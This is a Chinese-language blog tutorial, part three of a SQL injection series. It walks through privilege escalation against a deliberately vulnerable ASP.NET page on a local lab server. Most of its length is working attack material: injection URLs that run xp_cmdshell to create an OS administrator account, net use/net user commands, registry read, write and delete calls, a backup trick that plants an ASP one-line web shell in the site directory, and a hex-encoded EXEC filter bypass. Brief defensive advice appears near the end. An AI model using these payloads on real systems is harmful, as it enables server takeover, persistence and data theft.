WEB 安全之 SQL注入 < 三 > 提权
SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解
攻击的全过程,就可以更好的预防类似情况的出现。
前两篇文章介绍了攻击者通过构造SQL语句来获得“非授权信息”,都是停留在数据库层面的,其实它的威力可不仅仅止于此吆。如果DB管理员有疏忽,再加上页面有注入漏洞,危害不仅仅像前两篇最终网站后台沦陷搞不好整个系统都有可能被人控制。
测试环境跟上一篇相同, MSQL + asp.net + win7。前面已经拿下了管理员用户名、密码,我们还是使用新闻详细页面 ( 方便测试,不设防 ):
public partial class NewsInfo : System.Web.UI.Page
{
protected NewsModel _news = new NewsModel();
protected void Page_Load(object sender, EventArgs e)
{
var id = Request["id"];
var sqlStr = "select * from news where id=" + id;
var sqlCon = SqlHelper.GetConnection();
try
{
var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);
if (ds.Tables[].Rows.Count <= ) return;
_news.Title = ds.Tables[].Rows[]["title"].ToString();
_news.Text = ds.Tables[].Rows[]["text"].ToString();
_news.CreateTime = ((DateTime)ds.Tables[].Rows[]["createTime"]).ToString("yyyy-MM-dd");
}
catch (Exception ex)
{
}
}
}
1. 添加系统用户
这里主要用到 xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
由于存在安全隐患,一般 xp_cmdshell 默认是关闭的。 如果要执行它首先要打开 xp_cmdshell 打开 xp_cmdshell 的语句
--- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE --关闭xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
打开之后就可以执行了,通过它能做的事情太多了,开启你的想象力,在这里我们看看添加用户 ,需要用到 net user 命令,的大致语法是这样的
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup /add administrators abc 将abc 添加到administrators 用户组中
net user guest 用guest用户登陆后用将密码改为12345
添加一个用户 可以构建一条SQL语句 Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add'。
在新闻详细页面URL地址里输入 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add' 刷新页面,看看系统里是不是多了一个test 用户。


把 test用户加入管理员组 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net localgroup /add administrators test' ,再看看。

test用户拥有管理员权限了。
2.遍历磁盘目录
对磁盘操作的语句如下
--获取驱动器
exec master.dbo.xp_availablemedia
-- 获得子目录列表
exec master.dbo.xp_subdirs 'c:\Users'; -- 获得所有子目录的目录树结构
exec master.dbo.xp_dirtree 'c:\';
-- 查看文件的内容
exec xp_cmdshell 'type D:\test.txt';
URL地址栏输入 http://localhost:833/news/newsInfo?id=12;create table diskpath(name nvarchar(255),lowfree nvarchar(255),highfree nvarchar(255),mediatype nvarchar(255)); 回车创建一张表保存磁盘信息

URL地址栏输入 http://localhost:833/news/newsInfo?id=12;insert diskpath exec master.dbo.xp_availablemedia; 磁盘信息插入表diskpath
在新闻列表页输入 http://localhost:833/index?cId=category1' union select 1,name,'3','2016-1-1','5' from diskpath -- 查看服务磁盘列表

同理可以遍历服务器磁盘结构
3.读取、修改注册表
操作注册表语法
--xp_regenumvalues 以多个记录集方式返回所有键值
--用法: xp_regenumvalues 注册表根键, 子键
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion' --xp_regread 返回制定键的值
--用法:xp_regread 根键,子键,键值名
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' --xp_regwrite 写入注册表
--用法:xp_regwrite 根键,子键, 值名, 值类型, 值 (值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' --xp_regdeletevalue 删除某个值
--用法:xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' --xp_regdeletekey 删除键,包括该键下所有值
--用法:xp_regdeletevalue 根键,子键
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
在这里就操作手法跟查看服务器磁盘信息类似,这里就不做相关演示了。想一想,注册表都能改了,开启远程桌面,查看远程桌面开放的端口....等等等等,不都是手到擒来的事情吗!
所以,为了安全,如果不需要,DB管理员一定要把相关敏感的存储过程删除。应用程序连接字符串里的用户,如果没有必要给个普通权限就好了,别动不动就把 sa 亮出来,安全为重!!
4.构建websell
这里构建websell其实是利用 sql 的 backup 功能往web程序目录下写一个备份文件,只不过是在备份文件的扩展名上做了手脚。
create table cmd (str image)
backup database SqlLinjection to disk = 'd:\cmd' with init
insert into cmd (str) values ('<%execute request("cmd")%>')
backup log SqlLinjection to disk='D:\SourceCode\SQLinjection\cmd.asp';
drop table cmd
这里生成了一个asp页面在网站目录里,里面写了经典的一句话木马,通过它攻击者就得到了websell。看看可以访问吗

具体这个小马怎么骑的,如果不清楚请自己 goole。
5.关于对字符的过滤
在前一篇文章 WEB 安全之 SQL注入 < 二 > 暴库 里,由于时间问题,还有小部分内容没写,在这里就补一下吧 (^.^) 。在文章最后一段管理员做了敏感字符的过滤,管理员过滤掉了空格,而攻击者通过 /**/ 来代替空格绕过了过滤字符。感觉很有成就感,呵呵呵呵。真实环境中管理员发现了漏洞不太可能只过滤掉空格的。你不是注入吗?我把单引号、等于号、空格 一起都过滤掉,看你怎么办。。其实没用的,我相信现在还存在仅仅把单引号替换双单引号的网站。其
实在第一篇文章 WEB 安全之 SQL注入<一> 盲注 里也说过,最好使用参数化查询和预编译查询语句来预防SQL注入,当然使用一些现成的框架也可以避免。通过过滤的手段要考虑周全,某一点没考虑到,就会被攻击者利用。
先看看这条SQL语句 DecLaRe @c vArchaR(8000);sEt @c=0x73656c656374204c454e282766776569776572272920;EXeC(@c);-- 猜猜看可以执行吗?看到这里大家都明白了吧。攻击者可以不用单引号来执行同带单引号语句有相同效果的命令,对付这样的语句如果过滤的话怎么做? (;@=0x 空格、关键字 通通都过滤掉吗? 这就安全了吗?不好说,谁知道还有哪些没想到呢。
结束语:知耻而后勇 知不足而奋进。 拒绝漏洞从我做起,网络安全程序猿有责。
WEB 安全之 SQL注入 < 三 > 提权的更多相关文章
- web安全学习(sql注入1)
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
- WEB 安全之 SQL注入 < 二 > 暴库
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- web安全之sql注入原理
sql注入的原理: 将(恶意)的SQL命令注入到后台数据库引擎执行的能力,把信息返回到页面 sql注入产生的原因: 过滤不严谨,导致产生的sql注入. sql注入产生的地方: ...
- Web安全 之 SQL注入
随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据 ...
- SQL注入(三)
邮给我一个密码 我们意识到虽然不能添加一条新的记录在members表中,但我们可以通过修改一个存在的记录, 这也获得了我们的证明是可行的. 从先前的步骤中,我们知道bob@example.com在系统 ...
- web安全之SQL注入
一.sql注入是一种将sql代码添加到输入参数中 传递到sql服务器解析并执行得一种攻击手法 例: $sql = "SELECT * FROM goods WHERE Id = 1" ...
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- Web安全0002 - SQL注入 - 注入流程
注:本文是学习网易Web安全进阶课的笔记,特此声明. 一.信息搜集 — 数据库类型 - 报错信息.特有语句— 数据库版本(@@version,$version)— 数据库用户— 判断数据库权限 二.数 ...
随机推荐
- javaweb回顾第四篇Servlet异常处理
前言:很多网站为了给用户很好的用户体验性,都会提供比较友好的异常界面,现在我们在来回顾一下Servlet中如何进行异常处理的. 1:声明式异常处理 什么是声明式:就是在web.xml中声明对各种异常的 ...
- GTD中定位篇
一:为什么要定位? 每天我们的大脑涌现很多想法和要处理很多事情,如果我们没有一套流模式处理这些想法和事情,我们大脑将会处于混战忙碌中,很快就被淹没. 定位的目的: 就是有一套流模式有序的分界我们想法和 ...
- php生成UUID
UUID含义是 通用唯一识别码 (Universally Unique Identifier),这 是一个软件建构的标准,也是被开源软件基金会 (Open Software Foundation, O ...
- java 发送带Basic Auth认证的http post请求
构造http header private static final String URL = "url"; private static final String APP_KEY ...
- Tomcat 安全配置与性能优化
一.Tomcat内存优化 1.JAVA_OPTS参数说明 Tomcat内存优化主要是对 tomcat 启动参数优化,我们可以在 tomcat 的启动脚本 catalina.sh 中设置 JAVA_OP ...
- 理解TCP为什么需要进行三次握手(白话)
原文地址:http://www.cnblogs.com/yuilin/archive/2012/11/05/2755298.html 首先简单介绍一下TCP三次握手 在TCP/IP协议中,TCP协议提 ...
- 【转帖】驳Jan Baan关于BPM是ERP走向没落起点的说法
驳Jan Baan关于BPM是ERP走向没落起点的说法 Jan Bean在接受畅享网访问的时候提到“BPM是ERP走向没落的一个起点”.“BPM终将取代ERP”,让笔者这样一个在ERP行业待了接近十年 ...
- Git简记
1. 如何在GitHub上下载资源? 有2种方法: (1)直接在WebBrowser中下载. 比如要下载 https://github.com/numbbbbb/progit-zh-pdf-epub- ...
- Oracle10g新特性——正则表达式 - 转
在进行查询时,有时候需要按照一定的特殊规则来查找某个字符串,比如,你可能需要查询第三位为5-8,最后四位为’8888’的所有电话.在9i之前,你可能需要写一个很复杂的条件:Select usernam ...
- Apache MPM winnt
Win32DisableAcceptEx 指令在 apache2.4 被 AcceptFilter None 取代